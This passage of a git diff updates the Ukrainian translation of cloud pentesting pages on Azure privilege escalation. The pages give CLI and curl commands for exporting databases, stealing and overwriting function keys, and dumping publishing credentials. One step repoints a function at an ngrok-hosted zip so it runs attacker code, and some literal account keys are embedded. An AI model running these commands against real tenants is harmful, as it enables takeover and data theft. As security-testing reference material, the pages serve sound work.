знаходиться під їх контролем. Це може заважати моніторингу безпеки або дозволити йому відстежувати дії. ПРИМІТКА: Щоб активувати аудит для Azure SQL Server за допомогою Blob Storage, ви повинні підключити обліковий запис зберігання, куди можуть зберігатися журнали аудиту. +З цією дозволом ви можете змінювати або активувати налаштування аудиту на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу маніпулювати конфігураціями аудиту, потенційно приховуючи сліди або перенаправляючи журнали аудиту до місця, що знаходиться під їх контролем. Це може ускладнити моніторинг безпеки або дозволити йому відстежувати дії. ЗАУВАЖЕННЯ: Щоб активувати аудит для Azure SQL Server, використовуючи Blob Storage, ви повинні підключити обліковий запис сховища, куди можуть зберігатися журнали аудиту. ```bash az sql server audit-policy update \ --server \ @@ -51,7 +51,7 @@ az sql server audit-policy update \ --storage-account \ --retention-days 7 ``` -### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" +### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write` З цією дозволом ви можете змінювати політики підключення Azure SQL Server. Цю можливість можна використати для активації або зміни налаштувань підключення на рівні сервера. ```bash @@ -60,9 +60,9 @@ az sql server connection-policy update \ --resource-group \ --connection-type ``` -### "Microsoft.Sql/servers/databases/export/action" +### `Microsoft.Sql/servers/databases/export/action` -З цією дозволом ви можете експортувати базу даних з Azure SQL Server до облікового запису зберігання. Зловмисник або авторизований користувач з цим дозволом можуть ексфільтрувати чутливі дані з бази даних, експортувавши їх до місця, яке вони контролюють, що становить значний ризик витоку даних. Важливо знати ключ зберігання, щоб мати можливість це виконати. +З цією дозволом ви можете експортувати базу даних з Azure SQL Server до облікового запису зберігання. Зловмисник або авторизований користувач з цим дозволом може ексфільтрувати чутливі дані з бази даних, експортувавши їх до місця, яке вони контролюють, що становить значний ризик витоку даних. Важливо знати ключ зберігання, щоб мати можливість це виконати. ```bash az sql db export \ --server \ @@ -74,9 +74,9 @@ az sql db export \ --admin-password ``` -### "Microsoft.Sql/servers/databases/import/action" +### `Microsoft.Sql/servers/databases/import/action` -З цією дозволом ви можете імпортувати базу даних у Azure SQL Server. Зловмисник або авторизований користувач з цим дозволом може потенційно завантажити шкідливі або маніпульовані бази даних. Це може призвести до отримання контролю над чутливими даними або шляхом вбудовування шкідливих скриптів або тригерів у імпортовану базу даних. Додатково ви можете імпортувати її на свій власний сервер в Azure. Примітка: Сервер повинен дозволяти доступ до сервера для служб і ресурсів Azure. +З цією дозволом ви можете імпортувати базу даних у Azure SQL Server. Зловмисник або авторизований користувач з цим дозволом може потенційно завантажити шкідливі або маніпульовані бази даних. Це може призвести до отримання контролю над чутливими даними або шляхом вбудовування шкідливих скриптів або тригерів у імпортовану базу даних. Додатково ви можете імпортувати її на свій власний сервер в Azure. Примітка: Сервер повинен дозволяти доступ служб Azure та ресурсів до сервера. ```bash az sql db import --admin-user \ --admin-password \ @@ -85,6 +85,6 @@ az sql db import --admin-user \ --resource-group \ --storage-key-type SharedAccessKey \ --storage-key \ ---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" +--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac` ``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index aa632c74d..702c02dc8 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -5,15 +5,13 @@ ## CosmosDB Privesc Для отримання додаткової інформації про SQL Database перегляньте: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read") +### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`) З цими дозволами ви можете підвищити привілеї, надаючи користувачу дозволи на виконання запитів і підключення до бази даних. Спочатку створюється роль визначення, що надає необхідні дозволи та області. - -{% code overflow="wrap" %} ```bash az cosmosdb sql role definition create \ --account-name \ @@ -36,11 +34,7 @@ az cosmosdb sql role definition create \ ] }' ``` -{% endcode %} - Після цього визначення призначається користувачу. Після цього цей користувач може використовувати метод підключення DefaultAzureCredential() для виконання запитів. - -{% code overflow="wrap" %} ```bash az cosmosdb sql role assignment create \ --account-name \ @@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \ --principal-id \ --scope "/" ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/listKeys/action" -З цією дозволом ви можете отримати первинні та вторинні ключі для облікового запису Azure Cosmos DB. Ці ключі надають повний доступ до облікового запису бази даних та його ресурсів, що дозволяє виконувати такі дії, як читання даних, запис, та зміни конфігурації. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/listKeys/action` +З цією дозволом ви можете отримати основні та вторинні ключі для облікового запису Azure Cosmos DB. Ці ключі надають повний доступ до облікового запису бази даних та його ресурсів, що дозволяє виконувати такі дії, як читання даних, запис та зміни конфігурації. ```bash az cosmosdb keys list \ --name \ --resource-group ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index eede5fdad..8b63b3c7f 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -12,15 +12,15 @@ ### Bucket Read/Write -Маючи дозволи на читання контейнерів всередині облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**. +Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**. -Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції. +Якщо ви знайдете, де розташований код функції, і маєте дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції. - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` і `WEBSITE_CONTENTSHARE`) -Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до функції. +Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до Функції. -Цей метод розгортання зазвичай налаштовує параметри **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** і **`WEBSITE_CONTENTSHARE`**, які ви можете отримати з +Цей метод розгортання зазвичай налаштовує параметри **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** і **`WEBSITE_CONTENTSHARE`**, які ви можете отримати з ```bash az functionapp config appsettings list \ --name \ @@ -47,7 +47,7 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері **зазвичай називається `function-releases`**. +Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера Storage Account, який використовує функціональний додаток у контейнері **зазвичай називається `function-releases`**. Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` в: ```bash @@ -55,18 +55,18 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з облікового запису зберігання. +Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з Облікового запису зберігання. > [!CAUTION] > З достатніми правами для підключення до контейнера блобів, який **містить код у zip**, можливо виконати довільний код у Функції та підвищити привілеї. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -Так само, як і в попередньому випадку, якщо розгортання здійснюється через Github Actions, можливо знайти папку **`github-actions-deploy`** в обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`. +Так само, як і в попередньому випадку, якщо розгортання здійснюється через Github Actions, можливо знайти папку **`github-actions-deploy`** в Обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`. - **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` та `WEBSITE_CONTENTSHARE`) -З правами на читання контейнерів всередині облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлу файлової системи Squashfs** і, отже, можливо прочитати код функції: +З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлової системи Squashfs** і, отже, можливо прочитати код функції: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,7 +98,7 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **``** у JSON-файлах, які ви можете знайти всередині. +Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **``** в JSON-файлах, які ви можете знайти всередині. > [!CAUTION] > З достатніми правами для підключення до контейнера блобів, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Функції та підвищити привілеї. @@ -116,9 +116,9 @@ az storage blob upload \ --file /tmp/scm-latest-.zip \ --overwrite ``` -### Microsoft.Web/sites/host/listkeys/action +### `Microsoft.Web/sites/host/listkeys/action` -Ця дозволяє перерахувати ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з: +Ця дозволяє перелічити ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з: ```bash az functionapp keys list --resource-group --name ``` @@ -133,7 +133,7 @@ curl "?code=" ## Python example: curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v ``` -І щоб **змінити код, який виконується** у функції на: +І щоб **змінити код, який виконується** у функції з: ```bash # Set the code to set in the function in /tmp/function_app.py ## The following continues using the python example @@ -143,36 +143,36 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` -### Microsoft.Web/sites/functions/listKeys/action +### `Microsoft.Web/sites/functions/listKeys/action` -Цей дозвіл дозволяє отримати ключ хоста вказаної функції з: +Ця дозволяє отримати ключ хоста вказаної функції за допомогою: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -### Microsoft.Web/sites/host/functionKeys/write +### `Microsoft.Web/sites/host/functionKeys/write` Ця дозволяє створювати/оновлювати ключ функції вказаної функції з: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/host/masterKey/write +### `Microsoft.Web/sites/host/masterKey/write` -Ця дозволяє створити/оновити головний ключ для вказаної функції з: +Ця дозволяє створювати/оновлювати головний ключ для вказаної функції з: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] > Пам'ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як було пояснено раніше! -### Microsoft.Web/sites/host/systemKeys/write +### `Microsoft.Web/sites/host/systemKeys/write` Ця дозволяє створювати/оновлювати системний функціональний ключ для вказаної функції з: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/config/list/action +### `Microsoft.Web/sites/config/list/action` -Ця дозволяє отримати налаштування функції. У цих конфігураціях може бути можливим знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**. +Ця дозволяє отримати налаштування функції. Усередині цих конфігурацій може бути можливим знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**. ```bash az functionapp config appsettings list --name --resource-group ``` @@ -181,11 +181,11 @@ az functionapp config appsettings list --name --resource-group /resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` -### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми вже бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де знаходиться код для виконання всередині функції. +Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де знаходиться код для виконання всередині функції. -Отже, можливо встановити значення налаштування **`WEBSITE_RUN_FROM_PACKAGE`**, яке вказує на URL zip-файл, що містить новий код для виконання всередині веб-додатку: +Отже, можливо встановити значення налаштування **`WEBSITE_RUN_FROM_PACKAGE`**, вказуючи на URL zip-файл, що містить новий код для виконання всередині веб-додатку: - Почніть з отримання поточної конфігурації ```bash @@ -193,7 +193,7 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно +- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно. ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -205,7 +205,7 @@ ngrok http 8000 ``` - Змініть функцію, зберігши попередні параметри, і додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код. -Наступний приклад - це **мої власні налаштування, вам потрібно змінити значення на свої**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , тут я хостив додаток. +Наступний приклад - це **мої власні налаштування, вам потрібно змінити значення на свої**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, тут я хостив додаток. ```bash # Modify the function az rest --method PUT \ @@ -213,9 +213,9 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json"}' \ --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` -### Microsoft.Web/sites/hostruntime/vfs/write +### `Microsoft.Web/sites/hostruntime/vfs/write` -З цією дозволом **можливо змінювати код програми** через веб-консоль (або через наступну точку доступу API): +З цим дозволом **можливо змінювати код програми** через веб-консоль (або через наступну точку доступу API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -224,7 +224,7 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body ``` -### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) +### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) Ці дозволи дозволяють перерахувати всі профілі публікації, які в основному містять **базові облікові дані аутентифікації**: ```bash @@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Інший варіант полягає в тому, щоб встановити свої власні облікові дані та використовувати їх за допомогою: +Іншим варіантом було б встановити свої власні облікові дані та використовувати їх за допомогою: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ @@ -264,7 +264,7 @@ az rest --method PUT \ ``` - **Метод SCM** -Потім ви можете отримати доступ до **SCM URL** вашого функціонального додатку з цими **базовими обліковими даними** та отримати значення змінних середовища: +Тоді ви можете отримати доступ за допомогою цих **базових облікових даних для аутентифікації до URL SCM** вашого функціонального додатку та отримати значення змінних середовища: ```bash # Get settings values curl -u ':' \ @@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl ``` _Зверніть увагу, що **FTP ім'я користувача** зазвичай має формат \\\$\._ -### Microsoft.Web/sites/publish/Action - -Згідно з [**документацією**](https://github.com/projectkudu/kudu/wiki/REST-API#command), це дозволення дозволяє **виконувати команди всередині сервера SCM**, що може бути використано для зміни вихідного коду програми: -```bash -az rest --method POST \ ---resource "https://management.azure.com/" \ ---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ ---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug -``` -### Microsoft.Web/sites/hostruntime/vfs/read +### `Microsoft.Web/sites/hostruntime/vfs/read` Ця дозволяє **читати вихідний код** програми через VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -### Microsoft.Web/sites/functions/token/action +### `Microsoft.Web/sites/functions/token/action` -З цією дозволом можливо [отримати **адміністративний токен**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який можна пізніше використати для отримання **майстер-ключа** і, отже, доступу та зміни коду функції: +З цією дозволом можливо [отримати **адміністративний токен**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який можна пізніше використати для отримання **майстер-ключа** і, отже, доступу та зміни коду функції. + +Однак, під час моїх останніх перевірок жоден токен не був повернутий, тому він може бути вимкнений або більше не працювати, але ось як ви б це зробили: ```bash # Get admin token -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ ---headers '{"Content-Type": "application/json"}' \ ---debug +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ -H "Authorization: Bearer " ``` -### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) +### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) Ці дозволи дозволяють **включати функції**, які можуть бути вимкнені (або вимикати їх). ```bash @@ -342,15 +333,15 @@ az functionapp config appsettings set \ ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` -### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) +### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -З цими дозволами можливо **модифікувати контейнер, що виконується функціональним додатком**, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер додатку azure function на docker hub (наприклад) і змусити функцію виконати його. +З цими дозволами можливо **модифікувати контейнер, що виконується функціональним додатком**, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер azure function app на docker hub (наприклад) і змусити функцію виконати його. ```bash az functionapp config container set --name \ --resource-group \ --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` -### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) +### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) З цими дозволами можливо **прикріпити нову керовану користувачем ідентичність до функції**. Якщо функція була скомпрометована, це дозволить підвищити привілеї до будь-якої керованої користувачем ідентичності. ```bash @@ -361,7 +352,7 @@ az functionapp identity assign \ ``` ### Віддалене налагодження -Також можливо підключитися для налагодження працюючої функції Azure, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій. +Також можливо підключитися для налагодження працюючої Azure функції, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій. Можливо перевірити, чи увімкнено налагодження для функції за допомогою: ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index b54d7e698..8e110b8f1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -10,7 +10,7 @@ ../az-services/az-keyvault.md {{#endref}} -### Microsoft.KeyVault/vaults/write +### `Microsoft.KeyVault/vaults/write` Зловмисник з цим дозволом зможе змінити політику сховища ключів (сховище ключів повинно використовувати політики доступу замість RBAC). ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index b566a8c45..c9cc63fbc 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -5,15 +5,13 @@ ## Logic Apps Privesc Для отримання додаткової інформації про SQL Database перегляньте: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action") +### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`) -З цією дозволом ви можете створювати або оновлювати робочі процеси Azure Logic Apps. Робочі процеси визначають автоматизовані процеси та інтеграції між різними системами та сервісами. - -{% code overflow="wrap" %} +З цією дозволом ви можете створювати або оновлювати робочі процеси Azure Logic Apps. Робочі процеси визначають автоматизовані процеси та інтеграції між різними системами та службами. ```bash az logic workflow create \ --resource-group \ @@ -26,9 +24,7 @@ az logic workflow update \ --resource-group logicappgroup \ --definition ``` -{% endcode %} - -І після зміни ви можете запустити його за допомогою: +А після зміни ви можете запустити його за допомогою: ```bash az rest \ --method post \ @@ -36,16 +32,12 @@ az rest \ --body '{}' \ --headers "Content-Type=application/json" ``` -### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action") -З цими дозволами ви можете розгортати робочі процеси Logic App, використовуючи розгортання ZIP-файлів. Ці дозволи дозволяють виконувати такі дії, як читання деталей програми, доступ до облікових даних публікації, внесення змін і перерахування конфігурацій програми. Разом із дозволами на запуск ви можете оновити та розгорнути новий Logic App з бажаним вмістом - -{% code overflow="wrap" %} +### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`) +З цими дозволами ви можете розгортати робочі процеси Logic App, використовуючи розгортання ZIP-файлів. Ці дозволи дозволяють виконувати такі дії, як читання деталей програми, доступ до облікових даних публікації, внесення змін і перерахування конфігурацій програми. Разом із дозволами на запуск ви можете оновити та розгорнути новий Logic App з бажаним вмістом. ```bash az logicapp deployment source config-zip \ --name \ --resource-group \ --src ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md index cf7ea4d76..278b61b21 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -2,19 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} - ## MySQL Database Privesc Для отримання додаткової інформації про SQL Database перегляньте: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write" +### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write` -З цим дозволом ви можете створювати, оновлювати або видаляти екземпляри MySQL Flexible Server на Azure. Це включає в себе постачання нових серверів, модифікацію конфігурацій існуючих серверів або виведення серверів з експлуатації. - -{% code overflow="wrap" %} +З цією дозволом ви можете створювати, оновлювати або видаляти екземпляри MySQL Flexible Server на Azure. Це включає в себеProvisioning нових серверів, модифікацію існуючих конфігурацій серверів або виведення серверів з експлуатації. ```bash az mysql flexible-server create \ --name \ @@ -27,32 +24,20 @@ az mysql flexible-server create \ --tier \ --version ``` -{% endcode %} - -Наприклад, ці дозволи дозволяють змінювати пароль MySQL, що, звичайно, корисно в разі, якщо автентифікація MySQL увімкнена. - -{% code overflow="wrap" %} +Наприклад, ці дозволи дозволяють змінювати пароль MySQL, що, звичайно, корисно у випадку, якщо автентифікація MySQL увімкнена. ```bash az mysql flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - -Крім того, необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватної точки доступу, щоб увімкнути це: - -{% code overflow="wrap" %} +Додатково необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватного кінцевого пункту, щоб увімкнути це: ```bash az mysql flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} - -### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read"" +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read` З 